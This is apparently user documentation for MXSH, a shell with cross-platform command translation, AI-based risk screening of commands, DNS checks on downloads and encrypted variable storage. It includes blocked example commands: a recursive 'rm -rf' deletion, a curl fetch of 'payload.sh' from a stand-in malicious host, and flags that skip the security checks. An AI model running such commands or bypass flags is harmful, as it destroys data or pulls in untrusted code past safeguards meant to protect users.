This document provides an in-depth exploration of MXSH's capabilities and how they work together to create a secure, universal shell environment.
The Auto Resizer is MXSH's intelligent command translation system. It detects when you're using commands or package managers from a different operating system and automatically converts them to platform-appropriate equivalents.
When you enter a command, Auto Resizer:
- Analyzes the command syntax and identifies the source shell/package manager
- Compares against your current operating system and configured shell
- Determines if conversion is necessary for compatibility
- Translates the command to an equivalent form for your platform
- Requests confirmation before executing the converted command
Package Managers:
apt install package→winget install package(Linux to Windows)brew install package→apt install package(macOS to Linux)winget install package→brew install package(Windows to macOS)yum install package→apt install package(RHEL to Debian-based)pacman -S package→apt install package(Arch to Debian)choco install package→winget install package(Legacy Windows)
Shell Syntax:
- PowerShell cmdlets → Bash equivalents
- Bash utilities → PowerShell cmdlets
- CMD commands → Modern shell alternatives
On a Windows machine:
apt install gitAuto Resizer detects and converts:
⚡ Auto Resizer: Command conversion detected
│ Source: apt → Target: PowerShell
│ Original: apt install git
│ Converted: winget install git
│ Package manager converted from Debian APT to Windows Package Manager
Execute converted command? (y/n):
Auto Resizer is automatically enabled when using standard models (GPT-5, GPT-5.2, GPT-5.2 Pro, GPT-4.1). Lightweight models (GPT-5 Mini, GPT-5 Nano) disable this feature to minimize API usage.
MXSH analyzes every non-whitelisted command through OpenAI's API to evaluate potential risks before execution. The analysis provides:
- Risk Level: SAFE, LOW, MEDIUM, HIGH, or CRITICAL
- Summary: Brief description of what the command does
- Details: Specific concerns or security implications
- Recommendation: Whether execution is advisable
SAFE Command executes immediately without user intervention. Reserved for operations with no security concerns.
LOW Minor risks present. User confirmation requested but execution permitted.
MEDIUM Notable concerns identified. User must explicitly approve execution.
HIGH
Significant security risks. Execution blocked by default. Use --skip-ai-check to bypass.
CRITICAL Severe or destructive operations. Execution blocked. Bypass flag required.
rm -rf /important/dataMXSH response:
Analyzing command...
Risk Level: HIGH
Summary: Recursive deletion of directory without confirmation
Details: This command permanently deletes all files in the specified path
without prompting for confirmation. Data cannot be recovered.
Command blocked due to high risk.
Tip: Use --skip-ai-check flag to bypass (not recommended)
Certain read-only commands bypass AI analysis for immediate execution:
ls,dir: Directory listingpwd: Print working directorywhoami: Current user informationhostname: System namedate,time: Time informationcat,head,tail: File readingtree: Directory structuregit: All git operations (fully whitelisted)
Whitelisted commands with arguments execute only if:
- Arguments are option flags (start with
-) - No dangerous patterns present (pipes, redirects, command substitution)
Commands that download content from the internet (curl, wget) undergo DNS-based security validation before execution.
- URL Extraction: Parse command to identify HTTP/HTTPS endpoints
- DNS Resolution: Query Cloudflare's malware-blocking resolver (1.1.1.2)
- Safety Check: Determine if the domain is known malicious or local
- Decision: Allow, block, or request user confirmation
Malicious Domains If Cloudflare's malware filter identifies a domain as dangerous, the download is blocked entirely.
Local Addresses Private IP ranges and localhost addresses are rejected to prevent SSRF-style attacks:
- 127.0.0.0/8 (localhost)
- 10.0.0.0/8 (private)
- 172.16.0.0/12 (private)
- 192.168.0.0/16 (private)
curl http://malicious-site.example/payload.shMXSH response:
Checking URL security with Cloudflare DNS (1.1.1.2)...
URL: http://malicious-site.example/payload.sh
Status: BLOCKED
Reason: Domain flagged by security filter
✗ Command blocked due to security concerns.
Tip: Use --skip-dns-check flag to bypass (not recommended)
For trusted sources behind DNS filters:
curl http://internal-server/script.sh --skip-dns-checkMXSH provides encrypted storage for sensitive environment variables. Two encryption modes are supported:
Machine-Based Encryption Variables encrypted using hardware-specific parameters. Decryption only possible on the original machine.
Password-Based Encryption Variables encrypted with a user-provided password. Portable across machines when the password is known.
- Algorithm: AES-256-GCM for authenticated encryption
- Key Derivation: Argon2 for password-based encryption
- Storage Format: Base64-encoded encrypted values with authentication tags
Save a Variable
env save DATABASE_URLPrompts for the value and stores it encrypted.
List Variables
envDisplays variable names without revealing values.
Remove a Variable
env remove DATABASE_URLDeletes the encrypted variable from storage.
Export to File
env export DATABASE_URL # Single variable
env export * # All variablesCreates an encrypted .mxenv file for backup or sharing.
Import from File
env import backup.mxenvLoads variables from an encrypted export file.
- Values are never displayed in plaintext during normal operations
- Encryption keys are derived from machine-specific data or user passwords
- Export files use the same encryption as local storage
- Variables exist only in MXSH's encrypted storage, not in the system environment
MXSH can execute commands in multiple shell environments from a single interface.
Configured Default Shell
Commands without prefixes route to your selected default shell (configurable via mxsh shells).
Explicit Shell Selection Use prefixes to target specific shells:
$:PowerShell#:Bash>:CMD
The same MXSH syntax works on any platform:
$: Get-Process powershellOn Windows, this executes in PowerShell directly. On Linux/macOS, the command would be analyzed and potentially converted.
Each shell retains its native capabilities:
PowerShell: Object pipeline, cmdlets, .NET integration Bash: POSIX utilities, scripting, job control CMD: Windows legacy commands, batch scripts
MXSH supports multiple OpenAI models, each with different characteristics:
| Model | Speed | Accuracy | Cost | Auto Resizer |
|---|---|---|---|---|
| GPT-5.2 Pro | Slow | Highest | High | Enabled |
| GPT-5.2 | Medium | Very High | Medium-High | Enabled |
| GPT-5 | Medium | High | Medium | Enabled |
| GPT-5 Mini | Fast | Good | Low | Disabled |
| GPT-5 Nano | Fastest | Basic | Minimal | Disabled |
| GPT-4.1 | Medium | High | Medium | Enabled |
Full-Featured Models Standard models provide comprehensive analysis:
- Detailed security assessments
- Auto Resizer command conversion
- Context-aware recommendations
Lightweight Models Nano and Mini models prioritize speed and cost:
- Basic security checks
- No Auto Resizer functionality
- Faster command processing
- Reduced API costs
Choose based on your priorities:
- Maximum Security: GPT-5.2 Pro
- Balanced Use: GPT-5 or GPT-5.2
- Cost Optimization: GPT-5 Mini
- Minimal Overhead: GPT-5 Nano
Change models at any time:
mxsh modelsCurrent User and OS
whoamiDisplays the active username and operating system.
CPU Monitoring
cpuShows the top 10 processes by CPU usage, refreshed in real-time.
Enhanced Directory Changing
cd ~/projects # Absolute path with tilde expansion
cd ../other # Relative navigation
cd - # Return to previous directoryMXSH's cd command supports features that may not exist in your default shell.
Clear Display
clear
newClears the terminal and redisplays the MXSH banner.
Contributors
credit
creditsLists project contributors and acknowledgments.
Bypass AI-powered security analysis:
dangerous-command --skip-ai-checkUse case: Trusted scripts that trigger false positives Warning: Disables primary security mechanism
Bypass DNS-based download validation:
curl http://trusted-internal-server/file --skip-dns-checkUse case: Internal or private network resources Warning: Allows potentially dangerous downloads
Multiple exit commands are supported:
exit
quit
q
:qThe :q syntax provides a familiar option for Vim users.
MXSH maintains command history across sessions using the rustyline library. Use arrow keys to navigate previous commands.
Basic tab completion is available for built-in commands and file paths.